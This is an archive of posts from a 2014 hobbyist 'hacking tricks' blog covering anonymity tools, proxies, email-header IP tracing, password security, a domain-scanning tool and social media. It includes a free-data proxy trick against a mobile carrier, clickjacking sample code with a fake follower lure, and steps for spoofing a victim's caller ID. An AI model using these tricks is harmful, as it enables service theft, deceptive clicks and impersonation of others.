MayurHacker

Adsense Approval 100%

2014-01-22T09:07:00.002-08:00

Adsense Approval

2014-01-19T09:12:00.001-08:00

AIRTEL Free GPRS Proxy Trick 2014

2014-01-19T08:58:00.000-08:00

by Mayur khokhar

Today I Am Back With Latest Airtel Free GPRS Trick,

You Use This Trick On SSL Websites Too,

You Can Watch Unlimited YouTube Videos

Follow Below Instructions:-

Proxy:- mysslproxy.com

Port:- 80

Apn:- airtelgprs.com

Homepage:- 203.200.118.92 OR 203.115.112.5 OR 203.115.112.29 OR 122.170.122.202 OR 122.170.122.214 OR d.airtelworld.com
Use Any Working Homepage From Given Above.

Note:- Save The Settings And Restart Your Mobile

Use This Trick @ Low Balance.

Anonymous Surfing

2014-01-18T04:29:00.001-08:00

by mayur khokhar

JonDo

JonDos publishes a new version of the JonDo-Software, an IP changer and IP anonymization program, that you can use for anonymous surfing in the Internet with high security anonymous proxy servers.

What is JonDo?
JonDo is an open source and free-of-charge program for Windows, Linux and MacOS X.
It hides the user's IP adress behind an anonymous IP address. In contrast to other anonymizers (VPNs, anonymous proxy servers), the user's anonymity stays protected even against the providers (operators) of the anonymous IP address.

Download

TOR

Tor is very useful for online anonymity, its protect your privacy, defend against a form
of network traffic analysis. Traffic analysis can be used to infer who is talking to whom over a public network. Knowing the source and destination of your Internet traffic
allows others to track your behavior and interests.

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create
new communication tools with built-in privacy features.

Tor to keep websites from tracking them and their family members, or to connect to
news sites, instant messaging services, or the like when these are blocked by their
local Internet providers. Tor's hidden services let users publish web sites and other services without needing to reveal the location of the site.

Video Tutorial:

Download

Tortilla

It is an open source tools that allows users to securely, anonymously, and transparently route all TCP/IP and DNS traffic through Tor, regardless of the client software, and without relying on VPNs or additional hardware or virtual machines.

Download

ProXPN

ProXPN helps to upgrades your internet connection with VPN encryption secures all types of connections from DSL and cable to 3G gives you 100% private access to the internet get an IP address in the USA, UK, or NL.
It Protects websites you visit, hijack your passwords, credit cards, or banking details intercept and spy on your email, IMs, calls, or anything else, record your web,history, run traces to find out where you live.

Video Tutorial:

Download

UltraVPN - A Free VPN

UltraVPN is a simple user interface to connect or disconnect to our VPN servers.

To use UltraVPN, you need to right click on a traybar icon (on the bottom right of your screen) that looks like a computer with a red screen. After right clicking on it, choose "connect".

It can be used by any individual who simply wants to protect his privacy, either on a LAN or a public hotspot.

Features:
You can connect or log in into MSN if it's blocked.
For use VoIP software like Skype if it's blocked.
UltraVPN protect your email and browsing privacy.

How can you download UltraVPN?
Download the software client and create account. You are now able to connect to the VPN.

Video Tutorial:

How To Identify Fake Facebook Accounts

2014-01-18T04:26:00.005-08:00

by mayur khokhar

Facebook or Fakebook ?

How can you detect the Fake FB Profile. On these days we are getting so many friend request specially by girls, but there is no way to identify that account is fake or original. So don't worry we are going to tell you simple method to detect fake Facebook account.

So this is a Facebook account which named by Sarikha Agarwal. Now we need to verify this account real or fake, so our first step is going to the images.google.com and click on camera image.

So when you click on search by image you will get popup like below image.

Now go to that profile, right click on image and click on copy image URL

Now profile pic URL has copied.. now again go to images.google.com Tab and paste image URL

When you enter then you get related images search...

Now you can better see that this profile is real or fake..So here is a proof that this profile is fake. Enjoy the trick..

Be aware when you will going to add an beautiful or smart unknown person as your friend. So be checked first.. there are lot of fake profiles are create everyday.
This person might be spy on your profile and steal personal information like your photos, etc for their hacking stuffs.. So Be Safe Online..

Proxy Server

2014-01-18T04:23:00.001-08:00

>>Proxy servers:-

Its allow for you to configure your browser to route your browser traffic through that machine, which then makes a request for a page on your behalf, and then sends you the results. These are usually used at no cost to the user. Since they are accessible to the public these are often quite slow. Please see instructions for using a proxy server.

There are a variety of types of these proxy servers:

* Transparent Proxy - This type of proxy server identifies itself as a proxy server and also makes the original IP address available through the http headers. These are generally used for their ability to cache websites and do not effectively provide any anonymity to those who use them. However, the use of a transparent proxy will get you around simple IP bans. They are transparent in the terms that your IP address is exposed, not transparent in the terms that you do not know that you are using it (your system is not specifically configured to use it.) This type of proxy server does not hide your IP address.

* Anonymous Proxy - This type of proxy server identifies itself as a proxy server, but does not make the original IP address available. This type of proxy server is detectable, but provides reasonable anonymity for most users. This type of proxy server will hide your IP address.

* Distorting Proxy - This type of proxy server identifies itself as a proxy server, but make an incorrect original IP address available through the http headers. This type of proxy server will hide your IP address.

* High Anonymity Proxy - This type of proxy server does not identify itself as a proxy server and does not make available the original IP address. This type of proxy server will hide your IP address.

>>Proxy browser:-

A proxy server acts as a security barrier between your internal network and the Internet, keeping others on the Internet from being able to obtain access to information that is located on your internal network.........and your browser is become like invible........its hide your ip. like you use china country proxy den open google.com now google will open in china language form............!~

How to change proxy settings in Browsers

@ Mozilla Firefox

1. Open Mozilla Firefox.

2. Click on Tools then click on Options….

3. Click on the Advance tab, then click on the Network sub-tab and finally on the Settings… button.

4. Tick the Manual Proxy Configuration: radio button.

5. In the HTTP Proxy: box, type the IP address of the proxy server.

6. In the Port: box, type the in the port number that is used by the proxy server.

7. Click OK to close the Connection Settings window.

8. Click OK to close the Options window.

9. DONE

@ Internet Explorer
1. On the Tools menu in Internet Explorer, click Internet Options, click the Connections tab, and then click LAN Settings.
2. Under Proxy server, click to select the Use a proxy server for your LAN check box.
3. In the Address box, type the IP address of the proxy server.
4. In the Port box, type the port number that is used by the proxy server for client connections (by default, 8080).
5. You can click to select the Bypass proxy server for local addresses check box if you do not want the proxy server computer to be used when you connect to a computer on the local network (this may speed up performance).
6. Click OK to close the LAN Settings dialog box.
7. Click OK again to close the Internet Options dialog box.

@ proxy settings In Google Chrome.

* To change proxy settings: Click "Customize and control Google Chrome" icon right under the "window close" button.
* A popup menu will be dipslayed. Click "Options".
* Select the "Under the Hood" tab.
* Scroll down and Click "change proxy settings" button.
* A popup dialog will be display. Select the Connections tab on this dialg.
* If you are using LAN, click "LAN Settings" button. If you are using Dial-up or Virtual Private Network connection, select necessary connection and click "Settings" button.
* Make sure the "automatically detect proxy settings" and "use a proxy automatic configuration script" options are not checked.
* In the "Proxy Server" area, click the check box next to Use a proxy server for this connection.
* If nessesary, enable "bypass proxy server for local addresses".
* Click the "Advanced" button and set Proxy Server address (proxy IP), proxy server port.
* Click OK.

*done

@ proxy settings in Safari.
* To change proxy settings: Open Safari
* Click Safari on top of the screen.
* Click "Preferences".
* In the menu bar at the top of the window, Click "Advanced".
* Click on the "Change Settings" button next to the Proxies label
* Click on the check box button next to Web Proxy (HTTP)
* Enter proxy server and port information
* Select "Apply Now" to save settings.
* Done.

Latest SSL Proxy Website:

https://www.zend2.com

https://anticensor.net/
https://www.megaproxy.com/freesurf/

Above service use HTTPS and your connection is encyrpted.
These proxy website most use for free fast SSL Proxy. Enjoy surf to unblock Facebook, Twitter, YouTube.

Anti-Spam SMTP Proxy Server

The Anti-Spam SMTP Proxy (ASSP) Server project aims to create an open source platform-independent SMTP Proxy server which implements auto-whitelists, self learning Bayesian, Greylisting, DNSBL, DNSWL, URIBL, SPF, SRS, Backscatter, Virus scanning, attachment blocking, Senderbase and multiple other filter methods. Click 'Browse all files' to download the professional version 2.2.1 build 12221.

Multiple Weighted DNSBLs
Multiple Weighted URIBLs
Greylisting
Weighted Regular Expression Filtering
Bayesian
Penalty Box
SenderBase
SSL/TLS
SPF/SRS
Attachment Blocking
ClamAV and FileScan
Blocking Reporting
LDAP support
Backscatter Detection

Download

WEB PROXY SITES:

www.meebo.com/

www.iloveim.com/

www.the-cloak.com/

www.cantblock.me

www.mb35.info

www.cloaking.me

www.proxybrowsing.com

www.behidden.com

www.yourfreedom.net

www.hujiko.com

www.anonymizer.ru

www.schoolproxylists.cn/

www.xysurfing.com/

www.googlefaker.com/

www.internetoxy.com/

Facebook Proxy

If Facebook are block in your offices, college and home then don't worry
Click at below link and access your FB Account.
EnjoY..!!

Facebook Proxy free

Hackers Index

2014-01-18T04:22:00.000-08:00

HACKING FORUMS

hackforums.net
alboraaq.com
ubers.org
hackcommunity.com
evilzone.org

_______________________________________

HACKING TUTORIALS

securitytube.net
hackersonlineclub.com
hackingdna.com
irongeek.com
enigmagroup.org
hackingarticles.in
hackerzadda.com
darksite.co.in

_______________________________________

HACKING CHALLENGES

ctf365.com
hackthissite.org
trythis0ne.com
try2hack.nl
hackertest.net
hackchallenge.net

_______________________________________

VULNERABILITY EXPOSURE & EXPLOITS

cve.mitre.org
securityfocus.com
1337day.com
vulnerability-lab.com
osvdb.org
xssed.com
cvedetails.com

BUG BOUNTY PROGRAM

AT & T
Apple
Amazon
EBay
Facebook
Google

Zynga
______________________________________

HACKING NEWS WEBSITES
thehackernews.comdarkreading.comnews.ycombinator.comehackingnews.comhackersnewsbulletin.comthreatpost.comsecurityweek.com
_______________________________________
HACKING MAGAZINES
magazine.thehackernews.com2600.comhakin9.orgpentestmag.comchmag.inphrack.orgmagazine.hackinthebox.org
_______________________________________
BLACKHAT FORUMS
blackhatworld.comthebotnet.combestblackhatforum.comblackhatteam.combitshacking.comseoblackhat.comes5.comblackhatscene.com

SECURITY TOOLS

sourceforge.net
securityxploded.com
sectools.org
insecure.org
scanwith.com
github.com
_______________________________________

IT SECURITY CONFERENCES

thehackersconference.com
blackhat.com
defcon.org
nullcon.net
clubhack.com
conference.hackinthebox.org
rsaconference.com
owasp.org
shmoocon.org
thenexthope.org
hackerhalted.com
_______________________________________

INFOSEC WHITEPAPERS

packetstormsecurity.com
exploit-db.com
sans.org/reading-room
techrepublic.com
n1tr0g3n.com
______________________________________

INFOSEC CERTIFICATIONS

eccouncil.org
infosecinstitute.com
sans.org
offensive-security.com
isc2.org
giac.org
owasp.org
checkpoint.com
infysec.com

Clickjacking

2014-01-18T04:08:00.002-08:00

What is Clickjacking:

Clickjacking attack allows to perform an action on victim website, Mostly Facebook and Twitter accounts are targetable.
when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top
level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both. It may be similar to CSRF Cross Site Request Forgeries Attack.

Clickjacking is a term first introduced by Jeremiah Grossman and Robert Hansen in
2008 to describe a technique whereby an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they
are typing in the password to their email or bank account, but are instead typing into
an invisible frame controlled by the attacker.

At present this attack mostly use on social network websites like Facebook and twitter, Because this attack is used by convinced victim for click on the link and SocialNetwork website might be very useful for attack on victim.

One famous example of clickjacking is Facebook.

Code:

<style>
iframe { /* iframe from facebook.com /
width:300px;
height:100px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=50); / in real life opacity=0 */
opacity:0.5;
}
</style>

<div>Click on the link to get more followers:</div>

<iframe src="/files/tutorial/window/clicktarget.html"></iframe>

<a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">CLICK ME!</a>

<div>You'll be get 10000 followers..!!</div>

Output:
`Click on the link to get more followers`
Click Me
`You'll be get 10000 followers..!!`

Download

ClickJacking Tool

For Defence:
Clickjacking Protection

For more information:
OWASP

Mobile Hack Tricks

2014-01-18T04:05:00.000-08:00

by mayur khokhar

Call Forging:

To call someone from their own number or any number.
1. Go to http://www.mobivox.com and register there for free account.

2. During registration, remember to insert Victim mobile number in "Phone number
"field as shown below.

3. Complete registration and confirm your email id and then login to your account.
click on "Direct WebCall".

4. You will arrive at page shown below. In "Enter a number" box, select your country
and also any mobile number(you can enter yours). Now, simply hit on "Call Now"
button to call your friend with his own number.

5. That's it. Your friend will be shocked to see his own number calling him. I have
spent last two days simply playing this cool mobile hack prank.

Note: This trick will only knowledge purpose...
Just try this trick only known person.

How to find the IP address of the email sender in Gmail, Yahoo mail, Hotmail, AOL, Outlook Express, etc.

2014-01-18T03:28:00.000-08:00

by mayur khokhar

When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender.

Note that this will not work if the sender uses anonymous proxy servers.

Also, note that if you receive an email sent from a Gmail account through the web browser, you may not be able to find the real IP address because Google hides the real IP address of the sender. However, if someone sends you a mail from his/her Gmail account using a client like Thunderbird, Outlook or Apple Mail, you can find the originating IP address.

Lets begin this. First of all, the IP address is generally found in the headers enclosed beween square brackets, for instance, [129.130.1.1]

Finding IP address in Gmail

Log into your Gmail account with your username and password.
Open the mail.
To display the email headers,
- Click on the inverted triangle beside Reply. Select Show Orginal.
You may copy the headers and use my IP address detection script to ease the process. Or if you want to manually find the IP address, proceed to 5.
Look for Received: from followed by the IP address between square brackets [ ].

Received: from [69.138.30.1] by web31804.mail.mud.yahoo.com
If you find more than one Received: from patterns, select the last one.
Track the IP address of the sender

Finding IP address in Yahoo! Mail

Log into your Yahoo! mail with your username and password.
Click on Inbox or whichever folder you have stored your mail.
Click on the Subject of the email you want to track and right-click. You should get a menu like this.
You may copy the headers and use my IP address detection script to ease the process. Or if you want to manually find the IP address, proceed to the next step.
Look for Received: from followed by the IP address between square brackets [ ]. That should most likely be the IP address of the sender. If there are many instances of Received: from with the IP address, select the IP address in the last pattern. If there are no instances of Received: from with the IP address, select the first IP address in X-Originating-IP.
Track the IP address of the sender

Finding IP address in Hotmail

Hotmail has been integrated with Windows Live, or vice-versa. And the format has changed. Here is how you find the IP address of the sender.

Log into your Hotmail/Windows Live account with your username and password.
Click on the Inbox link on the left.
Under the column that says "Sort by", find the email that you want to track and right-click on it. You should get a menu that has something like Mark as read, Mark as unread, and so on. The last option in the menu should be View message source. Select it.
You should see the email headers now.
You may copy the headers and use my IP address detection script to ease the process. Or if you want to manually find the IP address, proceed to step 6.
If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address
If that doesn't work, look for Received: from followed by IP address within square brackets[].
- If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.
Track the IP address of the sender

Finding IP address in AOL

Log into your AOL Mail AIM account with your username and password.
Open the email that you want to track.
On the top row, click on Action and in the drop-down menu, select View Message Source
It opens a new page with the headers. Once you have the headers, look for the IP address that follows X-AOL-IP:. That should be the IP address of the sender.
Track that IP address of the sender

IP Address Detection Script

I wrote a Perl script to automate this task for you. All you have to do is select your email service and copy your email headers in the box below. You may do one of the following:

You can copy all the headers from your email and paste them here. In this case, the unnecessary headers (like Subject:) will be removed automatically.
You can remove all headers except those beginning with
```
- **X-Originating-IP:**
- **Received:**
```

Why Your Encryption/Passwords Suck ? New Security Methods : 3D Face Analysis, Bio Metrics, ETC ...

2014-01-15T08:13:00.003-08:00

by Mayur Khokhar

" Treat Your Passwords Like you treat your Toothbrush, Don't Let anyone Use it and Change it every 6 Months " - Clifford Stoll, Scientist.
Thousands of Online Services uses Password, Be it Banks, Shops, Social Networking Sites, Email's And Every other service. These Passwords are lying on the Databases of the companies, Which frequently have very basic security.
And These sites Do Get Hacked, Here Are Some Of The Greatest Attacks :

Service :	Victims :
Sony PlayStation Network :	77 Million Accounts Hacked. Site Down For 24 Days.
Evernote :	50 Million Accounts Hacked, Including Addresses.
LinkedIn :	6.5 Million Accounts Hacked.
Gamigo :	8.24 Million Accounts Exploited.
Yahoo Voices :	450,000 Accounts Hacked.
Twitter :	250,000 Accounts Hacked.

Most Of the Accounts Get Hacked Because the Main Site Server Gets Exploited, But Many Individual Accounts Get Hacked Because people are too damn dumb to use complex password, A Survey done by Mark Burnett for 12 years Indicates that 78% of online users use These passwords :

password	2000	hockey	dallas
123456	jordan	george	yankees
1234	superman	charlie	123123
12345678	harley	andrew	ashley
qwerty	1234567	michelle	666666
dragon	fuck	love	hello
sex	asshole	jessica	amanda
12345	hunter	boobs	orange
baseball	trustno1	legend-ary	biteme
football	ranger	6969	freedom
letmein	buster	pepper	computer
monkey	thomas	daniel	fuckme
696969	tiger	access	nicole
abc123	robert	123456789	thunder
mustang	soccer	654321	ginger
micheal	porn	joshua	heather
shadow	batman	maggie	hammer
master	test	starwars	summer
wintwe	jennifer	pass	silver
fucking	carlover	killer	william

What And How Hackers Do What They Do !

I Don't Know How, But somebody tricked us into thinking Hackers are Geeks on Laptops ( which we are) but you should also remember that Hackers have great observation skills. Hackers Follow you everywhere, Once they lay their eyes on a target, they dig out every bit of information available about you. They spy on your online photos, They know your cat's name, Your Car's Model and everything you might have mentioned in online world.
Hackers Can attack you on many fronts, like : Cracking your Social networking website password, Stealing Data from your personal computer, Phishing you or even using your E-Mail ID to send messages to terrorists.

You'll Love :Learn How To Crack Windows Password In Minutes.

Methods To Confuse And Avoid Hackers :

Two Factor Authentication :

Many E-mail Providers use Two Factor Authentication like Gmail And Yahoo, And it the strongest method to protect yourself from getting hacked. To access your account, First you have to sign in Using your E-mail and Password, And then An Eight Digit Code is sent to your mobile within a few seconds, Which you have to fill online to get access to your account.
Pros :
Strongest Security Method.
You know when your account is being accessed.
Alert On Your Mobile if someone tries to brute-force your account.
Cons :
Not so Time Efficient.
You Need Your Mobile And Good Signal Reception.

You'll Love : Learn How To Clone A Mobile Number !

Total Rating :
Security :

Comfort :

OPENID :

A Universally Usable ID Is given to you if you use OPENID. UUID are mostly URL specially crafted for you. To Log In into any service, You'll have to just insert your OpenId, Not your password. Using OpenID is also a good Idea as password have a habit of getting hacked. OpenID is usable on Google, Yahoo, LiveJournal, Hyves, Blogger, Flickr And other sites.

Pros :
One-For-All Username and Password.
Saves Time.
Cons :
Not So-Many Sites Supported.

Total Rating :
Security :

Comfort :

Swipe Gestures :

Swipe gestures are a popular way to lock your Android Phones, And they very Are Simple to use, Thus easily crack-able. Anybody can remember your Swipe by seeing it first time, Also Somebody can find out your swipe by observing the scratches on the surface of your screen.
Pros :
Easy And Simple.
Cons :
Easily Hack-able.

Total Rating :
Security :

Comfort :

Password Stick :

On Many Operating Systems, You Can create a password stick which can unlock your computer by plugging it in. It is a time saving and secure method, Unless Your hacker is also good at picking pockets.We are not very fond of this method, as your brain is the safest place to store sensitive information.
Pros :
Time Saving.
Easy.
Secure.
Cons :
Danger Of Getting Hacked if stick is stolen.

Total Rating :
Security :

Comfort :

Finger Print Scan :

One of the oldest method of securing, Finger print scanners are widely available on Laptops, Netbooks, External USB Scanner etc. Also a rumor has it that the new iPhone Might have a Fingerprint scanner in the home button. It is a good and secure way to protect your data.
Pros :
Easy To Use.
Widely Available.
Cons :
Remember to clear the scanner after each scan or the print left on the scanner can be easily used by hacker.

Total Rating :
Security :

Comfort :

3D Face Analysis :

On Mobile Since Android 4.0, 3D Face Scan is an awkward way to unlock your mobile, It uses your mobile/laptop camera to take a video of your whole face each time to unlock your device. But we don't think this type of security method is useful in Mobiles, Tough it is very useful in PC Security and Other stuff that you don't need to unlock every other second.
Pros :
Very Secure.
Very Difficult To Hack.
Cons :
Good Lightning needed.
Can be cracked by a video of your's.

Total Rating :
Security :

Comfort :

Behavior Pattern :

Everybody has different way of interacting with technology, And the Swedish Firm BehavioSac Has used it to create a new security system. In this method, You Need to enter your password and have to do it in the same way you did before. Other Factors Include : Typing Rhythm, Speed, And on touchscreen Devices : Angle of gestures, pressure of angles and other stuff !
Pros :
Highly Secure.
Easy To Use.
Cons :
Not available on the market Yet.
Could be a pain in the ass when you're drunk or sleepy.

Total Rating :
Security :

Comfort :

Conclusion :
With the increasing security risk, It Would be a good idea if the services we use everyday would get a security upgrade, And If the users follow some basic security tips, It would make them much more secure in the online world.

Is Facebook Afraid Of Google Plus ?

2014-01-15T08:07:00.001-08:00

By Mayur khokhar

Facebook, The biggest, largest and most popular Social-Networking site that ran many other websites out of business, Like Orkut, Friendster and hi5, And produced a major problem for big sites like LinkedIn and Twitter, Has started to show the signs that its time is over. Facebook is scared of Google+, And it has got good reason too :

Why Should Facebook Be Scared Of Google Plus :

People Get Bored :

Everything has its craze, After sometime, People start searching for something new, And that is exactly what Google + Is Offering. Facebook Profile And Wall design hasn't been changed in the past years. The biggest change in Facebook Design was 'Timeline' And 'Cover Photo', But we are bored of it now. Google Plus is so much interesting with its Circles, +1 Features, Hangouts And other stuff.

Google Plus Has Next-Gen Technology :

Google+ is a fusion of Facebook and Twitter, The two social networking giants of this time. One of the main reason people are using Google Plus is because,Like Twitter they can share what they find interesting not only to their close friends, but to the whole internet And Follow their Interests Easily. Unlike Facebook. In other words, G+'s popularity is being driven by Twitter-like activity. G+ Also has a strong inter-network social sharing, where you can share stuff with your friends easily.

Fusion With Google Search :

Probably the biggest change in Google Search Since Google Instant, Was that when Google started to Integrate Google Plus In the Search. Suppose you’re searching for a trip to New Delhi,India. Normally Google will serve you related web pages about the area of India's you are researching. However, if you click the person icon or as Google calls it the “Search plus your world” icon, it will start bringing up Google+ posts about New Delhi And India from your network, related photos from your friends, and pages/profiles related to that query. Also if you're on Google Authorship Program, And You Have a G+ Profile, You'll Appear on the Google search. So that means if you are on G+, you will pop up in Search Results.

Here Is An Interesting Picture Showing How Much The Popular Social Networking Sites Took To Reach 50 Million Users :

Assisting Users In Making Google Plus Profiles :

Google has put a lot of efforts in making Google Plus a hit. They Used their Biggest Weapon, The Search, to force people into making G+ profiles. The Second most used feature of Google, The G-Mail, is also contributing in increasing the population of G+. See when you sign up for Gmail, Google has automatically ticked two boxes in the end which automatically creates your G+ Profile when you make a mail account.

Google Know Facebook Weakness :

Facebook’s real enemy isn't Google Plus ; It’s Facebook. Google knows this. Thus when Facebook shoots itself and stumbles badly, Google is in the prime position to seize on the opportunity and siphon away users.Currently Google+ Is only a Alternative to Facebook, but it might change soon !

Facebook On Its Defensive Mode. Here's How :

Constant Upgrading :

Facebook is constantly upgrading itself to protect its throne. The Biggest Change was Graph Search, Where Facebook tried to turn their search box into a smart box, Also Facebook is now more aimed at Brands And Companies, Facebook’s analytic s tool (Useful for Page Admins's) Insights show's Page performance data in real-time.

Facebook New Graph Search, Intelligent, But Not Intelligent Enough To Take On G+.

Blocks Friends Exporter Plug-in :

One Of the most famous plug-ins of Google Chrome And Firefox, Facebook Friend Exporter, the open-source extension, lets users grab all the information about their Facebook friends, which can then be imported to other social sharing networks like Twitter or mainly Google Plus, Was blocked by Facebook. Also they removed the external E-Mail addresses from Profile So that its impossible to export friends list.

Blocks Plugin, Result Of Panic ?

After Viewing Google Plus Success, Facebook Makes itself More "Twitter-Alike" :

Facebook Has started working on the Twitter Formula too. The Hash-tags, Followers, Etc are clearly the signs that Facebook is converting itself to Twitter 2.0. The Google Plus Now Has More than 500 Million Users ( Till June 2013), And It is clear that it'll out-space Twitter in the close time, Facebook knows after Twitter, It's their number.

More Bounty To Peoples Who Figure Out Bugs In Facebook :

Since Always, Facebook has been slow in finding and fixing its problems, And the thing that can make this company go down faster than a avalanche, is if its Users gets compromised. So Facebook now gives you a large chunk of money if you can figure out a security hole in Facebook, And more money if you provide a solution it.

Working On Their Privacy Policy :

Privacy is last, and not because it’s not important, quite on the contrary. Protecting your privacy is one of the most important aspects of social networking, and there’s no reason for privacy settings to be complicated. Google+‘s privacy settings are all in a huge, changeable pile . These are part of your Google account’s general settings, and all reside under one single tab: Google+. Facebook, on the other hand, have been under attack for privacy concerns since day one, and has been working on simplifying its privacy settings for years.

A Photo Comparision Of Google+ And Facebook, Please Click To Zoom. :

Photo Courtesy Of Blazomania !

Conclusion :
If Facebook Wants to keep itself in business, They would have to make themselves more Like-able, But it is somewhat known that Google Plus Will Replace Facebook, It Might Not Be Today, Or Even The Next Year, But Facebook Has Finally found a competitor and needs something Big To Win This Battle. !

So How Was This post ? Love/ Hate Spot A Mistake ? Please leave your feedback below and don't forget to follow us on Your favorite social networking site !

Best and Popular Google Reader Alternatives

2014-01-15T07:48:00.005-08:00

by mayur khokhar

Best and Popular Google Reader Alternatives

We Already know that google is going to terminate the Google Reader Process. To confirm this message, google removed the RSS subscription from the chrome store. So Users can't subscribe the Rss feeds inside Google reader easily.

Don't worry About RSS Subscription Extension Because someone called "Justin Kelly" has cloned the Google's Original RSS subscription extension and re-uploaded it to the Chrome store.

you can get the source code from Github, is exactly like Google’s original extension except that it now works popular Google Reader alternatives including Feedly, NewsBlur and TheOldReader. it also supports for both Google Reader and iGoogle which has been dropped.

Bookmarklet – Subscribe in Feedly

I am ready to move from Google Reader to Feedly because it looks like the best replacement for Google Reader. but the drawback is Feedly doesn't offer the bookmarklets and it takes only few steps to subscribe to feeds in Web browsers that don't support extensions.

Fortunately, it didn’t take much time to clone the original Google Reader bookmarklet and make it compatible with Feedly. Just Drag and Drop the “Add to Feedly” button provided below to get your feedly FireFox Extension for free.

Add to Feedly

tags:google reader alternatives 2013, feedly, similar google reader, alternatives to google reader, alternatives to google reader 2013, google reader feed, open source google reader alternative, like google reader, google reader substitute, better than google reader, rss reader alternatives, rss alternative to google reader,

Domain Analyzer Security Tool

2014-01-13T09:38:00.005-08:00

Domain analyzer is a security analysis tool which automatically discovers and reports information about the given domain. Its main purpose is to analyze domains in an unattended way.

Features

It creates a directory with all the information, including nmap output files.
It uses colors to remark important information on the console.
It detects some security problems like host name problems, unusual port numbers and zone transfers.
It is heavily tested and it is very robust against DNS configuration problems.
It uses nmap for active host detection, port scanning and version information (including nmap scripts).
It searches for SPF records information to find new hostnames or IP addresses.
It searches for reverse DNS names and compare them to the hostname.
It prints out the country of every IP address.
It creates a PDF file with results.
It automatically detects and analyze sub-domains!
It searches for domains emails.
It checks the 192 most common hostnames in the DNS servers.
It checks for Zone Transfer on every DNS server.
It finds the reverse names of the /24 network range of every IP address.
It finds active host using nmap complete set of techniques.
It scan ports using nmap.
It searches for host and port information using nmap.
It automatically detects web servers used.
It crawls every web server page using our Web Crawler Security Tool.
It filters out hostnames based on their name.
It pseudo-randomly searches N domains in google and automatically analyze them!
Uses CTRL-C to stop current analysis stage and continue working.

First download Domain Security Analyzer from here and save in your desktop

Now untar the file tar zxvf domainanalyzer.tar.gz

Crawler

./crawler.py –u www.hackingarticles.in

Options:

-u, –url	URL to start crawling.
-m, –max-amount-to-crawl	Max deep to crawl. Using breadth first algorithm
-w, –write-to-file	Save summary of crawling to a text file. Output directory is created automatically
-s, –subdomains	Also scan subdomains matching with url domain.
-r, –follow-redirect	Do not follow redirect. By default follow redirection at main URL.
-f, –fetch-files	Download there every file detected in ‘Files’ directory. Overwrite existing content.
-F, –file-extension	Download files specified by comma separated extensions. This option also activates ‘fetch-files’ option. ‘Ex.: -F pdf,xls,doc’
-d, –docs-files	Download docs files:xls,pdf,doc,docx,txt,odt,gnumeric,csv, etc. This option also activates ‘fetch-files’ option.
-E,–exclude-extensions	Do not download files that matches with this extensions. Options ‘-f’,'-F’ or ‘-d’ needed.
-h, –help	Show this help message and exit.
-V, –version	Output version information and exit
-v, –verbose	Be verbose
-D, –debug	Debug.

Do

Domain Analyzer Security Tool

2014-01-13T09:38:00.001-08:00

Domain analyzer is a security analysis tool which automatically discovers and reports information about the given domain. Its main purpose is to analyze domains in an unattended way.

Features

It creates a directory with all the information, including nmap output files.
It uses colors to remark important information on the console.
It detects some security problems like host name problems, unusual port numbers and zone transfers.
It is heavily tested and it is very robust against DNS configuration problems.
It uses nmap for active host detection, port scanning and version information (including nmap scripts).
It searches for SPF records information to find new hostnames or IP addresses.
It searches for reverse DNS names and compare them to the hostname.
It prints out the country of every IP address.
It creates a PDF file with results.
It automatically detects and analyze sub-domains!
It searches for domains emails.
It checks the 192 most common hostnames in the DNS servers.
It checks for Zone Transfer on every DNS server.
It finds the reverse names of the /24 network range of every IP address.
It finds active host using nmap complete set of techniques.
It scan ports using nmap.
It searches for host and port information using nmap.
It automatically detects web servers used.
It crawls every web server page using our Web Crawler Security Tool.
It filters out hostnames based on their name.
It pseudo-randomly searches N domains in google and automatically analyze them!
Uses CTRL-C to stop current analysis stage and continue working.

First download Domain Security Analyzer from here and save in your desktop

Now untar the file tar zxvf domainanalyzer.tar.gz

Crawler

./crawler.py –u www.hackingarticles.in

Options:

-u, –url	URL to start crawling.
-m, –max-amount-to-crawl	Max deep to crawl. Using breadth first algorithm
-w, –write-to-file	Save summary of crawling to a text file. Output directory is created automatically
-s, –subdomains	Also scan subdomains matching with url domain.
-r, –follow-redirect	Do not follow redirect. By default follow redirection at main URL.
-f, –fetch-files	Download there every file detected in ‘Files’ directory. Overwrite existing content.
-F, –file-extension	Download files specified by comma separated extensions. This option also activates ‘fetch-files’ option. ‘Ex.: -F pdf,xls,doc’
-d, –docs-files	Download docs files:xls,pdf,doc,docx,txt,odt,gnumeric,csv, etc. This option also activates ‘fetch-files’ option.
-E,–exclude-extensions	Do not download files that matches with this extensions. Options ‘-f’,'-F’ or ‘-d’ needed.
-h, –help	Show this help message and exit.
-V, –version	Output version information and exit
-v, –verbose	Be verbose
-D, –debug	Debug.

Do

How to Create Domain Email Account with Hotmail

2014-01-13T09:25:00.002-08:00

Domain Hacking

by mayur khokhar

The first step is to go to domains.live.com and enter your domain name on the next page

Now Select Sign in with an existing Microsoft Account and Click on Continue

Now Click on I Accept Button

Navigate to an MX record maintenance page. MX records are special DNS (Domain Name Service) records, and are often located under sections titled “DNS Management,” “Mail Server Configuration,” You may need to turn on advanced settings to allow editing of these MX records.

Delete any existing MX records before entering new MX records.

Add an MX record for the email server.

Enter the fully qualified server name, such as 07e1d99c5dbf194ba723c7439a5517.pamx1.hotmail.com many domain providers also require a trailing period at the end of the server name. Set the priority for the record.

Go to Windows Live Admin Center on the left sidebar you will find options to member accounts on your domain. Now Click on Add Button

Now you can manually create email accounts. Just fill in the form to add an account and click Ok

Now login to your Hotmail account

Hack Windows, Linux or MAC PC using Firefox 17.0.1 + Flash Privileged Code Injection

2014-01-13T08:29:00.003-08:00

by Mayur Khokhar

